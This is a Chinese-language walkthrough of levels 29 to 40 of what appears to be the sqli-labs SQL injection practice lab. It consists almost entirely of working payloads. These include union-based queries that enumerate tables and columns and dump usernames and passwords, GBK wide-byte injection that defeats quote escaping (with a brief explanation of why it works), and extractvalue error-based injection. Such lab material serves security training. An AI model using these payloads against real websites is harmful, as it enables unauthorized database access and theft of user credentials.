29、第二十九关
id=1'

id=1''

尝试发现是单引号闭合,
-1' union select 1,2,3--+

-1' union select 1,2,database()--+

-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

-1' union select 1,2,(select group_concat(username,'~',password) from security.users)--+

30、第三十关
id=1"

id=1""

探测位置:-1" union select 1,2,3--+

POC:-1" union select 1,2,database()--+

POC:-1" union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

POC:-1" union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

POC:id=-1" union select 1,2,(select group_concat(username,'~',password) from security.users)--+

31、第三十一关
id=1"

id=1""

-1") union select 1,2,3--+

-1") union select 1,2,database()--+

-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

-1") union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

-1") union select 1,2,(select group_concat(username,'~',password) from security.users)--+

32、第三十二关
id=1'

这关是单引号闭合,但是单引号被转译成\'了,想办法去掉单引号,可用宽字节注入
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。
%df 吃掉
具体的原因是 urlencode(') = %5c%27,我们在 %5c%27 前面添加 %df,形 成 %df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
-1%aa%5c%27%20union select 1,2,3 --+

-1%aa%5c%27%20union select 1,2,database() --+

-1%aa%5c%27%20union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

-1%aa%5c%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=(select%20right(group_concat(table_name),5)%20from%20information_schema.columns%20where%20table_schema=database()))--+

-1%aa%5c%27%20union%20select%201,2,group_concat(username,0,password)%20from%20users--+

33、第三十三关

这关也是单引号闭合,但是引号被转译了和32关一样,用宽字节
-1%aa%5c%27 union select 1,2,3--+

-1%aa%5c%27 union select 1,2,database()--+

-1%aa%5c%27 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

-1%aa%5c%27 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select right(group_concat(table_name),5) from information_schema.tables where table_schema=database()))--+

-1%aa%5c%27 union select 1,2,(select group_concat(username,0,password) from security.users)--+

34、第三十四关

这关也是引号被转译,试一下宽字节注入,发现有报错信息,可以用报错注入
uname=admin%aa%5c%27%20and extractvalue(1,concat(0x7e,database(),0x7e))--+

admin%aa%5c%27%20and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

admin%aa%5c%27%20and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select right(group_concat(table_name),5) from information_schema.tables where table_schema=database())),0x7e))--+

admin%aa%5c%27%20and extractvalue(1,concat(0x7e,(select group_concat(username,0,password) from security.users)))--+

35、第三十五关
-1 union select 1,2,3--+

-1 union select 1,2,database()--+

-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select right(group_concat(table_name),5) from information_schema.tables where table_schema=database()))--+

-1 union select 1,2,(select group_concat(username,0,password) from security.users)--+

36、第三十六关
-1%aa%5c%27 union select 1,2,3--+

-1%aa%5c%27 union select 1,2,database()--+

-1%aa%5c%27 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

-1%aa%5c%27 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select right(group_concat(table_name),5) from information_schema.tables where table_schema=database()))--+

-1%aa%5c%27 union select 1,2,(select group_concat(username,0,password) from security.users)--+

37、第三十七关
admin%aa%5c%27and+extractvalue(1,concat(0x7e,database()))--+

admin%aa%5c%27and+extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())))--+

admin%aa%5c%27and+extractvalue(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns where table_schema=database() and+table_name=(select+right(group_concat(table_name),5) from information_schema.tables where table_schema=database()))))--+

admin%aa%5c%27and+extractvalue(1,concat(0x7e,(select+group_concat(username,0,password)+from+security.users)))--+

38、第三十八关
单引号闭合-1' union select 1,2,3--+

-1' union select 1,2,database()--+

-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

-1' union select 1,2,(select group_concat(username,'~',password) from security.users) --+

39、第三十九关
-1 union select 1,2,3--+

-1 union select 1,2,database()--+

-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

-1 union select 1,2,(select group_concat(username,'~',password) from security.users)--+

40、第四十关
-1') union select 1,2,3--+单引号加括号闭合

-1') union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

-1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

-1') union select 1,2,(select group_concat(username,'~',password) from security.users)--+
